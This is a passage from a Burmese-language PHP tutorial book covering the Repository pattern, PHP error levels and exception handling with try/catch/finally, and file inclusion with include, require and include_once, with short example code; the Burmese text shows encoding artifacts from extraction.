နားလည်ရ]က်ပေနနိုင်ပေပမယ့် နားလည်သွားရင် အရမ်းမိုက်ပြပီး  စနစ်ကျတဲ့  ပေရးဟန်ကို  ရရိှသွားမှာ ဖြKစ်ပါ
တယ်။ ဒီကုဒ်ကိုလက်ပေတွ့စမ်းလ့ုိပေတာ့ရမှာ မဟုတ်ပါဘူး။ သပေဘာသဘာဝနားလည်ပေအာင် ပေKာ်ဖြပပေပးတဲ့
နမူနာကုဒ်သက်သက်ပါ။  Laravel လုိ Framework မျ ို းမှာ ဒီလုပ်ပေဆာင်]ျက်ပါဝင်လို့၊ သပေဘာသဘာဝကို
နားလည်ထားမယ်ဆိုရင် ပေလ့လာလ့ုိ ပုိပေကာင်းသွားမှာဖြKစ်လုိ့ ထည့်သွင်းပေKာ်ဖြပဖြ]င်း ဖြKစ်ပါတယ်။
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Repository
Repository  Pattern  ကိုလည်းပေနာက်ပုိင်းမှာ  လူကြကိုက်များလာပါတယ်။  ဒီ  Pattern  ကလည်း  GoF
Pattern  ပေတွထဲမှာ  မပါပါဘူး။  Eric  Evens  လ့ုိပေ]ါ်တဲ့  ပညာရှင်  တစ်ဦးပေရးသားတဲ့  Domain  Driven
Design ဆိုတဲ့စာအုပ်မှာ ပါတဲ့ Pattern ဖြKစ်ပါတယ်။

လက်ပေတွ့ပပေရာဂျက်ပေတွမှာ  Data  ပေတွ  သိမ်းKုိ့အတွက်  Database  နည်းပညာပေတွကို  သံုးကြကပါတယ်။
Data  ပေတွစီမံဖြ]င်း၊  သိမ်းဆည်းဖြ]င်း၊  ရယူဖြ]င်း  လုပ်ငန်းပေတွ လုပ်K့ုိအတွက်လည်း  Pattern  ပေတွ ရှိကြကပါ
ပေသးတယ်။ တစ်]ျ ို ့ ဘာ Pattern မှမသုံးဘဲ SQL Query Language ကို တုိက်ရိုက်အသံုးဖြပု စီမံကြကတယ်။
တစ်]ျ ို ့က  Table  Gateway  Pattern  လ့ုိပေ]ါ်တဲ့  Pattern  တစ်မျ ို းကို  သံုးကြကတယ်။  တစ်]ျ ို ့  Object
Relational  Mapping (ORM)  လ့ုိပေ]ါ်တဲ့  Pattern  ကို  သံုးကြကတယ်။ အမျ ို းမျ ို းပါပဲ။  ဒီနည်းပညာပေတွကို
Data Layer သ့ုိမဟုတ် Data Abstraction လ့ုိပေ]ါ်ကြကပါတယ်။ Repository Pattern ဆိုတာ အ့ဲဒီလုိ Data
ပေတွ  စီမံပေပးနိုင်တဲ့  အလွှာနဲ့  Data  ကို  လက်ပေတွ့အသံုး]ျမယ့်  အလွှာတို့ရဲ့  ကြကားထဲကပေန ဖြKည့်စွက်ပေပး
ထားတဲ့ ပေနာက်ထပ် အလွှာတစ်ထပ် (Abstraction တစ်]ု) ပါပဲ။

စားပေသာက်Kွယ်ရာပေတွကို  မီးKုိပေ]ျာင်ထဲမှာ ]ျက်ဖြပုတ်ပေကြကာ်ပေလှာ်ပြပီး  အုိးထဲကပေန တစ်]ါထဲ နှိုက်စားရင်
လည်း ဗုိက်ပေတာ့ဝမှာပါပဲ။ ဒါပေပမယ့် ပန်းကန်ပေလးနဲ့ ပေသပေသ]ျာ]ျာ သပ်သပ်ရပ်ရပ်ထည့်၊ ဇွန်းပေလးဘာ
ပေလးတပ်ပြပီး၊  ထမင်းစား စားပဲွပေပါ် ကျကျနနတင်ပြပီးမှ စားပေတာ့ ပုိအရသာရှိတာပေပါ့။ ဒီလုိပါပဲ  Data  ကို
တစ်]ါထဲ  Database  ထဲကပေန နှိုက်သံုးမယ့်အစား၊  Repository  ထဲ ထည့်၊ လုိအပ်သလုိ မွန်းမံပြပီးပေတာ့မှ
အမှန်တစ်ကယ်အသုံး]ျမယ့် ပေနရာကို ပ့ုိပေပးလုိက်ပေတာ့ ပုိပြပီးပေတာ့ စနစ်ကျသွားတာပေပါ့။

ဥပမာ ဒီလုိ Data ပေတွစီမံပေပးနိုင်တဲ့ Model Class နဲ့ အ့ဲဒီ Model ကိုအသံုးဖြပုထားတဲ့ App Class တို့ ရှိကြက
တယ်ဆိုပါစို့ – 
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 PHP 

<?php

class Model
{
    public function save()
    {
        echo "Saving $this->name and $this->age";
    }
}

class App
{
    public function update($data)
    {
        $model = new Model;
        $model->name = $data['name'];
        $model->age = $data['age'];
        $model->save();
    }
}

$app = new App;
$app->update(["name" => "Alice", "age" => 22]);

// Saving Alice and 22

Model ရဲ့ save() က Property ပေတွဖြKစ်ကြကတဲ့ name နဲ့ age တိုရ့ှိမှ အလုပ်လုပ်မှာပါ။ ဒါပေကြကာင့် App
က Model Object ပေဆာက်ပြပီးတဲ့အ]ါ လုိအပ်တဲ့  Property ပေတွသတ်မှတ်ပါတယ်။ ပြပီးပေတာ့မှ  Model ရဲ့
save() နဲ့  Data  ပေတွကို  သိမ်းပေပးလိုက်တယ်လုိ့  သပေဘာထားရမှာပါ။  ဒီလို  တိုက်ရိုက်အသံုးဖြပုမယ့်
အစား ကြကားထဲမှာ Repository တစ်လွှာထပ်ပြပီး ]ံလုိက်လ့ုိ ရနိုင်ပါတယ်။

 PHP 

<?php

class Model
{
    public function save()
    {
        echo "Saving $this->name and $this->age";
    }
}
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class Repository
{
    public function update($data)
    {
        $name = $data['name'] ?? "Unknown";
        $age = $data['age'] ?? "Unknown";

        $model = new Model;
        $model->name = $name;
        $model->age = $age;
        $model->save();
    }
}

class App
{
    private $repo;

    public function __construct(Repository $repo)
    {
        $this->repo = $repo;
    }

    public function update($data)
    {
        $this->repo->update($data);
    }
}

$app = new App(new Repository);
$app->update(["name" => "Alice", "age" => 22]);

// Saving Alice and 22

ဒီနည်းကပေပးတဲ့ အားသာ]ျက် နှစ်]ျက်ရှိပါတယ်။ ပထမတစ်]ျက်ကပေတာ့ Data ပေတွ စစ်ပေဆးတဲ့ အလုပ်
အပါအဝင်  အပေသးစိတ်စီမံတဲ့  အလုပ်ပေတွကို  App  မှာ  လုပ်စရာမလုိပေတာ့ပါဘူး။  SOLID  ရဲ့  Single
Responsibility Principle အသက်ဝင်သွားတာပါ။ Data ကိုသပ်သပ်စီမံပြပီး App ကို သပ်သပ်စီမံလ့ုိ ရသွား
ပါတယ်။  ဒုတိယအားသာ]ျက်ကပေတာ့  Repository  ကို  Dependency  Injection  နဲ့  အသံုးဖြပုထားလ့ုိ
လုိအပ်ရင်  Repository  ပေဖြပာင်းသံုးလ့ုိ  ရနိုင်ပါတယ်။  လက်ရှိ  Model  ကိုသံုးပေနပေပမယ့်၊  လုိအပ်]ျက်အရ
တစ်ဖြ]ား Data Layer ကို ပေဖြပာင်းသံုးရမယ်ဆိုရင် ပေဖြပာင်းရပုိလွယ်သွားမှာပဲ ဖြKစ်ပါတယ်။
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ထံုးစံအတိုင်း လက်ပေတွ့အသုံး]ျတဲ့အ]ါ တစ်ပေယာက်နဲ့တစ်ပေယာက် အပေသးစိတ် ပေရးဟန်ပေတွကွာသွားနိုင်
ပါတယ်။  ပြပီးပေတာ့  Data  စီမံတဲ့အပေကြကာင်း  ပေဖြပာပေနတာမို့လ့ုိ  ပပေရာဂျက်တစ်]ုနဲ့တစ်]ု  လုိအပ်]ျက်ဖြ]င်း
လည်း မတူကြကဖြပန်ပါဘူး။ ဒါပေကြကာင့် လက်ပေတွ့ကုဒ်ပေတွနဲ့  Implementation ကပေတာ့ ကွဲဖြပားနိုင်ပါတယ်။
ဒါပေပမယ့် လုိရင်းအ]ျုပ်အပေနနဲ့  Data   ကို တုိက်ရိုက်စီမံမယ့်အစား ကြကား]ံ    Repository   တစ်]ု ထားလုိက်  
မယ်ဆိုရင်   Single Responsibility Principle   နဲ့အညီ ပုိစနစ်ကျတဲ့ကုဒ်ကိုရနိုင်ပြပီး   Data Layer   ကို လုိအပ်  
ရင် ပေဖြပာင်းသံုးလို့ရတဲ့ အားသာ]ျက်ကို ရနိုင်တယ် ဆိုတဲ့အ]ျက်ကို အထူးဖြပု မှတ်သားရမှာ ဖြKစ်ပါတယ်။

Other Patterns
အ]ုပေKာ်ဖြပ]ဲ့တဲ့  Pattern ပေတွဟာ Laravel မှာ အသုံးဖြပုထားတဲ့  Pattern ပေတွလ့ုိ ပေဖြပာ]ဲ့ပါတယ်။။ ဒါဟာ
တစ်ဖြ]ား  Pattern ပေတွကို  Laravel  မှာ သံုးလ့ုိမရဘူးဆိုတဲ့ အဓိပ္ပါယ်မဟုတ်ဘူး။ တစ်ဖြ]ား  Patterns  ပေတွ
ကို  ပေလ့လာသိရှိပြပီး သင့်ပေတာ်တဲ့  ပေနရာမှာ အသံုး]ျမယ်ဆိုရင် ပုိပြပီးပေတာ့ သပ်ရပ်စနစ်ကျတဲ့  ကုဒ်ပေတွကို
ပေရးသားနိုင်မှာ ဖြKစ်ပါတယ်။ 

GoF Design Patterns (၂၃) ]ုလံုးနဲ့ တစ်ဖြ]ား  Patterns  တစ်]ျ ို ့ကို  PHP နဲ့ နမူနာ ပေရးဖြပထားတဲ့  Repo
တစ်]ုရှိပါတယ်။  စာပေရးသူကိုယ်တိုင်  ပေရးသားထားတာပါ။  အ]ု  ]ျက်]ျင်းမဟုတ်ရင်ပေတာင်  ပေနာက်ပုိင်း
အ]ျနိ်ပေပးနိုင်တဲ့အ]ါ ဆက်လက်ပေလ့လာကြကည့်သင့်ပါတယ်။ 

- https://github.com/eimg/design-patterns-php

https://github.com/eimg/design-patterns-php
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အခန်း (၉) – Error Handling

ကုဒ်ပေတွ ပေရးကြကတဲ့အ]ါ Error ဆိုတာ ပေရာှင်လဲွလ့ုိမရနိုင်ပါဘူး။ ပေရးထံုးအမှားပေကြကာင့်လည်း Error တက်
မယ်၊  Semicolon  ကျန်]ဲ့လ့ုိလည်း  Error  တက်မယ်၊  အKွင့်အပိတ်မမှန်လို့လည်း  Error  တက်မယ်၊
စာလံုးပေပါင်းမှားလ့ုိလည်း Error တက်မယ်၊ ဖြပင်ပသကပ်ေရာက်မှုတစ်]ု]ုပေကြကာင့်လဲ Error တက်မယ်၊ Error
ပေတွကပေတာ့ ပံုစံအမျ ို းမျ ို းပါပဲ။ ဒီ Error ပေတွဟာ တစ်]ုနဲ့တစ်]ု အမျ ို းအစားမတူသလုိ အဆင့်လည်းမတူ
ကြကပါဘူး။ တစ်]ျ ို ့  Error  ပေတွက သတိပေပးယံုသက်သက်ဖြKစ်ပြပီး  တစ်]ျ ို ့  Error  ပေတကွပေတာ့ ပရိုဂရမ်ကို
လံုးဝ  ရပ်တန့်သွားပေစတဲ့  Error  ပေတွပါ။  ဒီအပေကြကာင်းကိုလည်း  ထည့်သွင်းပေKာ်ဖြပလိုပါတယ်။။  PHP  မှာ
Error အမျ ို းအစား (၁၆) မျ ို းထိရှိပါတယ်။ အ့ဲဒီထဲက အဓိကအကျဆုံးကပေတာ့ ဒီ (၇) မျ ို းပါ။

1. E_PARSE
2. E_ERROR
3. E_WARNING
4. E_NOTICE
5. E_STRICT
6. E_DEPRECATED
7. E_ALL

E_PARSE ဆိုတာဟာ ကုဒ်ကို  Run  တဲ့အဆင့် မပေရာက်လုိက်ဘဲ ပေရးထားတဲ့  Syntax  မှာတင် မှားပေနလ့ုိ
တက်တဲ့  Error  အမျ ို းအစား ပါ။  E_ERROR ဆိုတာပေတာ့  Fatal Error  ပေတွပါ။ ပရိုဂရမ်ကို  လံုးဝရပ်တန့်
သွားပေစတဲ့  Error  ပေတွပါ။  E_WARNING  ကလည်း  Error  တစ်မျ ို းပါပဲ။ ပရိုဂရမ်က ဆက်အလုပ် လုပ်ပေန
ပေသးပေပမယ့် တစ်]ု]ုပေတာ့ အကြကီးအကျယ် မှားပေနပြပီဆိုတဲ့အ]ါမျ ို းမှာ တက်ပါတယ်။  
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E_NOTICE နဲ့သတ်မှတ်ထားတဲ့  Notice  ပေတကွပေတာ့  မှားနိုင်ပေဖြ]ရှိတဲ့အပေဖြ]အပေနမျ ို းမှာ  တက်ပါတယ်။
ဥပမာ Array တစ်]ုရဲ့ မရှိပေသးတဲ့  Index မှာ တန်Kုိးသတ်မှတ်တဲ့အ]ါ သတ်မှတ်လို့ ရပါတယ်။ ဒါပေပမယ့်
မှားပေနနိုင်တဲ့အတွက်  Notice Error အမျ ို းအစားကို ပေပးပေလ့ရှိပါတယ်။  E_STRICT ဆိုတာကပေတာ့ PHP
မှာ Strict Mode လ့ုိပေ]ါ်တဲ့ သပေဘာသဘာဝတစ်မျ ို း ရှိပါတယ်။ ဥပမာ ဒီကုဒ်ကိုကြကည့်ပါ။

 PHP 

<?php

function add(int $a, int $b) {
    echo $a + $b;
}

add(1, "2"); // 3

နမူနာအရ  add() Function  ကို  ပေ]ါ်တဲ့အ]ါ  Integer  တန်Kုိးပေတွကို  Argument  အပေနနဲ့  ပေပးရမယ်လ့ုိ
သတ်မှတ်ထားပါတယ်။ ဒါပေပမယ့် တစ်ကယ်တမ်း ပေပးတဲ့အ]ါ String   တန်Kုိးတစ်]ုကို ပေပးပေပမယ့်   Error  
မတက်ပါဘူး။  အလုပ်လုပ်ပါတယ်။  String  ဆိုပေပမယ့်  Number  String  ကို  Integer  ပေဖြပာင်းမယ်ဆိုရင်
ပေဖြပာင်းလုိရ့ပေနတဲ့အတွက် PHP က ပေဖြပာင်းပြပီးပေတာ့ပဲ အလုပ်လုပ်ပေပးမှာပါ။ အ့ဲဒါမျ ို းကို လက်မ]ံပေစလိုရင်
ဒီလိပုေရးလ့ုိရပါတယ်။

 PHP 

<?php

declare(strict_types=1);

function add(int $a, int $b) {
    echo $a + $b;
}

add(1, "2");

// Error: Argument #2 ($b) must be of type int, string given

အပေပါ်ဆုံးမှာ  declare Statement  နဲ့  strict_types=1 လ့ုိ  ပေကြကညာလုိက်တဲ့အတွက်  PHP  က
ကုဒ်ပေတွကို  Strict  Mode  နဲ့အလုပ်လုပ်ပေပးသွားမှာပါ။  ဒီတစ်]ါပေတာ့  မရပေတာ့ပါဘူး။  သတ်မှတ်ထားတဲ့
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အတိုင်း အတိအကျပေပးမှပဲ အလုပ်လုပ်ပေတာ့မှာပါ။ ဒါပေကြကာင့် Integer ပေပးရမယ့်ပေနရာမှာ String ကို ပေပး
ထားတဲ့အတွက် Error တက်သွားပါပြပီ။ ဒီလုိ Error အမျ ို းအစားကို Strict Error လ့ုိပေ]ါ်တာပါ။

E_DEPRECATED နဲ့ သတ်မှတ်ထားတဲ့  Deprecated Error ပေတကွပေတာ့ အသံုးမဖြပုသင့်ဘူးလ့ုိ သတ်မှတ်
ထားတဲ့  လုပ်ပေဆာင်]ျက်ပေတွကို  အသံုးဖြပုတဲ့အ]ါ ပေပးတဲ့  Error  ပေတွဖြKစ်ပါတယ်။ လက်ရှိသံုးလ့ုိရပါပေသး
တယ်။ အလုပ်လုပ်ပါတယ်။ ဒါပေပမယ့် မသံုးသင့်ပေတာ့ဘူး၊  ပေနာက်    PHP Version    ပေတွမှာ အလုပ်လုပ်မှာ  
မဟုတ်ပေတာ့ဘူး ဆိုတဲ့ အဓိပ္ပါယ်ပါ။

E_ALL ဆိုတာကပေတာ့ Error အမျ ို းအစားအားလံုးကို ရည်ညွှန်းပါတယ်။

ကိုယ်ရဲ့ကုဒ်မှာ Error ပေတရွှိလာတဲ့အ]ါ ဘယ်လုိ Error အမျ ို းအစားဆိုရင် ဖြပရမယ်။ ဘယ်လုိ Error အမျ ို း
အစားဆိုရင် မဖြပရဘူးဆိုတာမျ ို းကို  သတ်မှတ်ထားလ့ုိရပါတယ်။ ပံုမှန်အားဖြKင့် ဒီ သတ်မှတ်]ျက်ကို  PHP
Setting ဖြKစ်တဲ့ php.ini ဆိုတဲ့ Kုိင်ထဲမှာ သတ်မှတ်ထားပေလ့ရှိပါတယ်။ Windows မှာ Install လုပ်ထား
တဲ့ XAMPP အတွက်ဆိုရင် php.ini Kုိင်ကို C:\xampp\php Kုိဒါထဲမှာ ရှာပြပီးကြကည့်လ့ုိရနိုင်ပါတယ်။

ကုဒ်ထဲမှာ ကိုယ်တိုင်ပေရးသားပြပီး Error ပေတွကို စီမံ]ျင်ရင်လည်း ရနိုင်ပါတယ်။ error_reporting()
လ့ုိပေ]ါ်တဲ့  Standard  Function  ကို  အသံုးဖြပုနိုင်ပါတယ်။  error_reporting(0) လ့ုိ  ပေရးသား
သတ်မှတ်ပေပးလုိက်ရင်  ဘာ  Error  ကိုမှ  ဖြပပေတာ့မှာ  မဟုတ်ပါဘူး။  တစ်]ု]ုမှားပေနရင်  ဘာပေကြကာင့်မှန်းမ
ပေဖြပာဘဲ  အလုပ်မလုပ်ပေတာ့လ့ုိ  အပေကြကာင်းရင်းကို  သိရမှာ  မဟုတ်ပေတာ့ပါဘူး။
error_reporting(E_ALL) ဆိုရင်ပေတာ့  ရှိရှိသမ�  Error  အမျ ို းအစား အားလံုးကိုဖြပမှာပါ။  ပေနာက်
တစ်နည်းအပေနနဲ့  error_reporting(-1) လ့ုိလည်းပေရးလို့ရပါပေသးတယ်။  ဒါဆိုရင်လည်း  Error
အမျ ို းအစားအားလံုးကို ဖြပမှာပဲ ဖြKစ်ပါတယ်။

အပေရးကြကီးတဲ့  Parse Error, Fatal Error  ပေတွနဲ့  Warning  ပေတွကိုပဲ  ဖြပပေစ]ျင်တယ်ဆိုရင်ပေတာ့ ဒီလုိပေရး
ပေပးလုိက်လ့ုိ ရနိုင်ပါတယ်။

error_reporting(E_PARSE | E_ERROR | E_WARNING);



PHP – လိမေု - တိမေု - ရှင်း – အ]န်း (၉) – Error Handling 141

ဒါဆိုရင်  Parse Error,  Fatal Error ပေတွနဲ့  Warning ပေတွကလဲွရင် ကျန်  Error အမျ ို းအစားပေတွကို ဖြပမှာ
မဟုတ်ပေတာ့ပါဘူး။  ပေနာက်ထပ်ပေရးနည်းကပေတာ မဖြပပေစ]ျင်တာကို ပေရွး]ျန်တဲ့နည်းဖြKစ်ပါတယ်။ ဒီလုိပေရး
ရပါတယ်။

error_reporting(E_ALL & ~E_NOTICE);

ဒါဆိုရင် Notice ပေတွကလဲွရင် ကျန် Error အားလံုးကိုဖြပမယ်လို့ ပေဖြပာလိုက်တာပါ။

PHP မှာ Exception Handling သပေဘာသဘာဝလည်း ရှိပါပေသးတယ်။ Exception Handling ဆိုတာဟာ
Error  တက်တဲ့အ]ါ  ပရိုဂရမ်  ရပ်မသွားပေစဘဲ  ဘာဆက်လုပ်ရမလဲဆိုတာကို  သတ်မှတ်ပေပးနိုင်တဲ့  နည်း
လမ်းပါ။ လုိအပ်ရင် ကိုယ်ပေရးတဲ့ကုဒ်ထဲမှာလည်း Exception ပေတွပေပးလို့ရပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

function add($nums) {
    if(!is_array($nums)) {
        throw new Exception("Argument must be array");
    }

    return array_sum($nums);
}

echo add(1);

// Error: Uncaught Exception: Argument must be array

add() ကိုပေပးလာတဲ့  Argument ဟာ Array ဟုတ်မဟုတ်စစ်ပြပီး မဟုတ်ဘူးဆိုရင်  throw Statement
နဲ့ Exception Object တစ်]ုကို ပေပး]ိုင်းလိုက်တာပါ။ ဒါပေကြကာင့် Array မဟုတ်တဲ့ တန်Kုိးပေပးပြပီး ပေ]ါ်လုိက်
တဲ့အ]ါ  Uncaught Exception Error  တက်သွားတာပါ။  ကိုယ့်ဘာသာ တက်]ိုင်းလိုက်တဲ့  Error  တစ်မျ ို း
လ့ုိ ဆိုနိုင်ပါတယ်။
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ဒီလို  Exception  ပေတွ  ရှိလာတဲ့အ]ါ  Error  မတက်ပေစဘဲ  ဘာဆက်လုပ်ရမလဲ ဆိုတာကို  try-catch
Statement နဲ့ သတ်မှတ်ပေပးထားလ့ုိ ရပါတယ်။ ဒီလုိပါ – 

try {
    echo add(1);
} catch(Exception $e) {
    echo $e->getMessage();
}

// Argument must be array

ပေစာပေစာက  add() Function  ကို  ပေ]ါ်ထားတာပါပဲ။  ဒီတစ်]ါပေတာ့  add() Function  ကို  try
Statement ထဲမှာ ပေ]ါ်ထားပါတယ်။ ဒါပေကြကာင့်  Exception ရှိလာတဲ့အ]ါ  Error မတက်ပေတာဘ့ဲ  catch
Statement  ကို  အလုပ်လုပ်သွားမှာ ဖြKစ်ပါတယ်။ နမူနာအရ  catch Statement  ထဲမှာ  Exception  ကို
လက်]ံယူပြပီး သူရဲ့ Message ကိုပဲ ဖြပ]ိုင်းလုိက်တာပါ။ ဒါပေကြကာင့် ရလဒ်အပေနနဲ့ Error Message ကိုပဲ ရမှာ
ဖြKစ်ပါတယ်။

try-catch Statement  နဲ့အတူ တွဲသံုးနိုင်တဲ့  finally Statement  ဆိုတာလည်း  ရိှပါပေသးတယ်။
catch Statement ဟာ Exception ရိှရင် အလုပ်ပြပီး finally Statement ကပေတာ့ Exception ရှရိှိ မ
ရှရိှိ အလုပ်လုပ်ပါတယ်။ ဒီလိုပါ – 

try {
    echo add(1);
} catch(Exception $e) {
    echo $e->getMessage();
} finally {
    echo "Done";
}

// Argument must be array
// Done

နမူနာအရ  Exception  ရှိပေနလ့ုိ  catch Statement  အလုပ်လုပ်သွားပြပီးပေနာက် finally Statement
ကိုလည်း ဆက်အလုပ်လုပ်သွားတာကို ပေတွ့ရမှာဖြKစ်ပါတယ်။
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 PHP 

<?php

function add($nums) {
    if(!is_array($nums)) {
        throw new Exception("Argument must be array");
    }

    return array_sum($nums);
}

try {
    echo add([1, 2]);
} catch(Exception $e) {
    echo $e->getMessage();
} finally {
    echo "Done";
}

// 3
// Done

ဒီတစ်]ါပေတာ့  Exception  မရှိလ့ုိ  catch Statement  အလုပ်မလုပ်ပေတာ့ပါဘူး။  ဒါပေပမယ့်  finally
Statement ကပေတာ့ အလုပ်လုပ်သွားတယ်ဆိုတာကို ပေတွ့ရမှာပဲ ဖြKစ်ပါတယ်။

ဒီနည်းကိုသာ စနစ်တကျအသံုး]ျမယ်ဆိုရင် Error ရိှလာတဲ့အ]ါ ပရိုဂရမ်က ရပ်သွားတယ်ဆိုတာမျ ို း မဖြKစ်
ပေစပေတာ့ဘဲ  Error  ရိှလာရင်  ဘာလုပ်ရမလဲဆိုတာကို  သတ်မှတ်ပေပးလ့ုိ  ရသွားတဲ့သပေဘာပဲ  ဖြKစ်ပါတယ်။
PHP  ရဲ့  Error  အားလံုးကို  ဒီနည်းနဲ့  Kမ်းလို့ပေတာ့  မရနိုင်ပါဘူး။  Error  အများစုက ရိုးရိုး  Error  ပေတွပါ။
Exception Error  ပေတွ မဟုတ်ကြကပါဘူး။ ပေနာက်ပုိင်း  PHP Version  ပေတွမှာ ထပ်မံဖြKည့်စွက်ပေပးထားတဲ့
လုပ်ပေဆာင်]ျက်သစ်ပေတွမှာပေတာ့  Exception  Error  ပေတွကို  အသံုးဖြပုထားပါတယ်။  ပေရးနည်းရှိမှန်း  သိ
ထားပြပီး သင့်ပေတာ်တဲ့ပေနရာမှာ အသံုးဖြပုနိုင်ကြကK့ုိပဲ ဖြKစ်ပါတယ်။
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အခန်း (၁၀) – Modules & Namespaces

Programming  Language  တိုင်း  လုိလိုမှာ  Module  လုပ်ပေဆာင်]ျက်ရှိပါတယ်။  ဒီ  Module
လုပ်ပေဆာင်]ျက်ရဲ့  အကူအညီနဲ့  ကုဒ်ပေတွ  ]ွဲထုတ်ပေရးသားဖြ]င်း၊  လုိအပ်တဲ့အ]ါ  ရယူထည့်သွင်းအသံုးဖြပု
ဖြ]င်းအားဖြKင့် Reusable  ကုဒ်ပေတွကို  ရကြကတာပါ။  JavaScript  မှာဆိုရင်  CommonJS Module  နဲ့  ES6
Module ဆိုပြပီး နည်းပညာမူကွဲ နှစ်မျ ို းရှိပါတယ်။

PHP မှာ Module လုပ်ပေဆာင်]ျက် စစ်စစ်ပေတာ့ မရှိပါဘူး။ ဒါပေပမယ့် Module ကဲ့သို့ ကုဒ်ပေတွကို ]ွဲထုတ်
ပေရးသားထားပြပီး  လုိတဲ့ပေနရာမှာ  ဖြပန်လည်ရယူထည့်သွင်းနိုင်တဲ့  နည်းပေတွပေတာ့  ရိှပါတယ်။  ဥပမာ
Math.php ဆိုတဲ့အမည်နဲ့ ဒီလုိKုိင်တစ်]ု ရိှတယ်ဆိုကြကပါစို့ -

 PHP 

<?php

// Math.php
define('PI', 3.14);

function add($a, $b) {
    echo $a + $b;
}

ဒီKိုင်ထဲမှာပါတဲ့ လုပ်ပေဆာင်]ျက်ပေတွကို ရယူအသံုးဖြပုလုိတဲ့အ]ါ  include Statement  ကို အသံုးဖြပုပြပီး
အ]ုလုိရယူအသံုးဖြပုနိုင်ပါတယ်။
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 PHP 

<?php

// App.php

include('Math.php');

echo PI; // 3.14
echo add(1, 2); // 3

include အတွက်  ရယူအသံုးဖြပုလုိတဲ့  ကုဒ်Kုိင်တည်ပေနရာကို  ပေပးရတာပါ။  နမူနာမှာ Kုိင်အမည်ဖြKစ်တဲ့
Math.php လ့ုိပဲပေပးထားတဲ့အတွက် လကရ်ှိ  App.php ရိှပေနတဲ့ Kုိဒါထဲမှာပဲ ရှာပြပီးထည့်ပေပးသွားမှာပါ။
ရှာလ့ုိ မပေတွ့ရင်ပေတာ့  Warning တက်ပါလိမ့်မယ်။ အကယ်၍ ရယူအသုံးဖြပုလုိတဲ့Kုိင်က တစ်ဖြ]ားပေနရာမှာ
ဆိုရင် တည်ပေနရာအတိအကျ ပေပးK့ုိ လုိအပ်ပါလိမ့်မယ်။

include Statement  နဲ့  တစ်ဖြ]ား  Language  ပေတွရဲ့  Module  မတူတာက၊  Module  ကုဒ်ပေတွမှာ
ပေရးသားသူက ရယူအသံုးဖြပု]ွင့်ပေပးလုိတဲ့ လုပ်ပေဆာင်]ျက်ကို သတ်မှတ်ပေပးလုိ့ရသလုိ၊ ရယူအသံုးဖြပုသူက
လည်း  ပေပးထားတဲ့အထဲက  လုိ]ျင်တဲ့  လုပ်ပေဆာင်]ျက်ကို  ပေရးွ]ျယ်ရယူလ့ုိ  ရနိုင်မှာပါ။  include
Statement  မှာပေတာ့ အ့ဲဒီလုိမျ ိူ း  ပေရးွ]ျယ်လ့ုိရမှာ မဟုတ်ပါဘူး။  Kုိင်တစ်]ုကို  ]ျတိ်ဆက်ရယူလုိက်တာနဲ့
အ့ဲဒီKုိင်ထဲက ရှိသမ�ကုဒ်အတွက် အကုန်လံုးကို ထည့်ပြပီး   Run   ပေပးသွားမှာပါ  ။ ဒီအ]ျက်ကို အထူးသတိဖြပုKို့
လုိပါတယ်။ ပေနာကတ်စ်ပေ]ါက်ပေလာက် ထပ်ပေဖြပာ]ျင်ပါတယ်။ include Statement နဲ့ ကုဒ်Kုိင်တစ်]ုကို
]ျတိ်ဆက်ရယူ လုိက်တဲ့အ]ါ အ့ဲဒီကုဒ်Kုိင်ထဲမှာ ပေရးထားသမ�ကုဒ်အကုန်လံုးကို ]ျတိ်ဆက်လုိက်တဲ့ ပေနရာ
မှာ ထည့်ပြပီး Run ပေပးသွားမှာပါ။

include Statement ကို ပေရးတဲ့အ]ါ ပေနာက်က ဝုိက်ကွင်းအKွင့်အပိတ် ထည့်ပေရးလ့ုိရသလုိ၊ မထည့်ဘဲ
လည်း ပေရးလ့ုိရပါတယ်။ ဒီလိုပါ – 

include('Math.php');

include 'Math.php';
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include Statement ရဲ့ မူကွဲအပေနနဲ့  require Statement ကိုလည်း အသုံးဖြပုနိုင်ပါတယ်။ ပေရးသား
အသုံးဖြပုပံု အတူတူပါပဲ။ 

require('Math.php');

require 'Math.php';

ကွာသွားတာက၊  Kုိင်တစ်]ုကို  ]ျတိ်ဆက်လိုက်တဲ့အ]ါ  တည်ပေနရာ  မှားပေနလ့ုိ  ]ျတိ်ဆက်မရတဲ့အ]ါ
include က Warning  ပေပးပြပီး ကျန်ကုဒ်ပေတွကို  ဆက်အလုပ်လုပ်ပါတယ်။  require ကပေတာ့  Error
ပေပးပြပီး  ပေနရာမှာတင်  ဆက်အလုပ်မလုပ်ပေတာ့ဘဲ  ရပ်လုိက်မှာ  ဖြKစ်ပါတယ်။ ဒီလုိ  အဖြပုအမူ အနည်းငယ်
ကွာပေပမယ့်  အသံုးဖြပုနည်းကပေတာ့  အတူတူပဲမ့ုိလ့ုိ  မိမိနှစ်သက်ရာ  Statement  ကို  အသံုးဖြပုနိုင်ပါတယ်။
ပေရှ့ဆက်  ပေKာ်ဖြပတဲ့အ]ါမှာပေတာ့  include ကိုအသံုးဖြပုပြပီးပေတာ့ပဲ  ဆက်လက်ပေKာ်ဖြပသွားပါမယ်။  တစ်
ဖြ]ား ဘာပေကြကာင့်မှ မဟုတ်ပါဘူး။ သံုးပေနကြက ဖြKစ်ပေနလ့ုိပါ။

ကုဒ်Kုိင်တစ်]ုကို တစ်ကြကိမ်ထက်ပုိပြပီး Include လုပ်မိရင်မလုိလားအပ်တဲ့ ဖြပဿနာပေတွ တက်နိုင်ပါတယ်။

include('Math.php');
include('Math.php');

ပထမတစ်ကြကိမ်  Include  လုပ်စဉ်မှာ  Math.php ထဲကကုဒ်ပေတွကို  အကုန်ထည့်သွင်းသွားသလုိ ပေနာက်
တစ်ကြကိမ်  Include  လုပ်စဉ်မှာလည်း  ပေနာကတ်စ်ကြကိမ်  အကုန်ထပ်မံထည့်သွင်းသွားမှာဖြKစ်လ့ုိ  ကုဒ်ပေတွ
ထပ်ကုန်ပါပြပီ။ တူညီနဲ့ Function Name နဲ့ နှစ်]ါပေရးမိသလုိပေတွဖြKစ်ပြပီး Error ပေတွ တက်ကုန်ပါလိမ့်မယ်။
ဒီဖြပဿနာကို ပေရှာင်ရှားလုိရင် include_once Statement ကို သံုးနိုင်ပါတယ်။ 

include_once('Math.php');
include_once('Math.php');

ပထမတစ်ကြကိမ် include_once နဲ့ ရယူထည့်သွင်းစဉ်မှာ အရင်ကအဲ့ဒီKုိင်ကို မယူKူးလ့ုိ ရယူထည့်သွင်း



